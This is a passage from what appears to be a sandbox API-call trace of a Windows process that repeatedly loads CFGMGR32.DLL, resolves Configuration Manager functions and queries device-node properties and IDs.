lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.285] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.285] malloc (_Size=0x18) returned 0x20abc281dc0 [0238.285] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0238.286] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x49ca5f57, dwHighDateTime=0x1d9eb0c)) [0238.286] SetEvent (hEvent=0x248) returned 1 [0238.291] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.291] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.292] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.292] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.292] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.292] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.292] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.296] malloc (_Size=0x18) returned 0x20abc2819c0 [0238.296] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0238.297] malloc (_Size=0x48) returned 0x20abc27cf80 [0238.297] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x49ccbf84, dwHighDateTime=0x1d9eb0c)) [0238.297] SetEvent (hEvent=0x248) returned 1 [0238.302] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.302] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.303] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.303] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.324] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.325] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.326] malloc (_Size=0x18) returned 0x20abc281e60 [0238.327] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0238.327] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.327] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x49d18597, dwHighDateTime=0x1d9eb0c)) [0238.328] SetEvent (hEvent=0x248) returned 1 [0238.334] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.335] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.338] malloc (_Size=0x18) returned 0x20abc281d40 [0238.338] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0238.341] malloc (_Size=0x48) returned 0x20abc27cf80 [0238.341] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x49d3edaf, dwHighDateTime=0x1d9eb0c)) [0238.342] SetEvent (hEvent=0x248) returned 1 [0238.387] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.387] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.391] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.391] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.391] malloc (_Size=0x18) returned 0x20abc281c40 [0238.391] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x2c, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0238.392] malloc (_Size=0x48) returned 0x20abc27cf80 [0238.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x49db0e1f, dwHighDateTime=0x1d9eb0c)) [0238.392] SetEvent (hEvent=0x248) returned 1 [0238.397] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.397] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.399] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.399] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.399] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.399] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.399] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.399] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.399] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.401] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.401] malloc (_Size=0x18) returned 0x20abc281ee0 [0238.401] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x2c, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0238.402] malloc (_Size=0x48) returned 0x20abc27cf80 [0238.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x49dd71d5, dwHighDateTime=0x1d9eb0c)) [0238.402] SetEvent (hEvent=0x248) returned 1 [0238.409] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.409] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.410] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.410] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.410] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.415] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.415] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.415] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.415] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.415] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.415] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.416] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.416] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.416] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.416] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.416] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.416] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.417] malloc (_Size=0x18) returned 0x20abc281c40 [0238.417] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0238.418] malloc (_Size=0x48) returned 0x20abc27cf80 [0238.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x49e01506, dwHighDateTime=0x1d9eb0c)) [0238.418] SetEvent (hEvent=0x248) returned 1 [0238.424] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.424] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.424] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.425] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.425] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.425] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.425] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.425] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.425] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.426] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.426] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.426] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.426] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.426] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.426] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.427] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.427] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.427] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.427] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.427] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.427] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.428] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.428] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.429] malloc (_Size=0x18) returned 0x20abc281fe0 [0238.429] CM_Get_Device_IDA (in: dnDevInst=0x4, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI_HAL\\PNP0C08\\0") returned 0x0 [0238.429] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.429] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x49e23b1c, dwHighDateTime=0x1d9eb0c)) [0238.430] SetEvent (hEvent=0x248) returned 1 [0238.434] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.434] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.434] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.434] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.434] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.435] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.435] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.435] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.435] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.435] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.435] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.436] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.436] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.436] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.436] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.436] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.436] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.437] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.437] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.437] GetProcAddress (hModule=0x7ffb1ced0000, 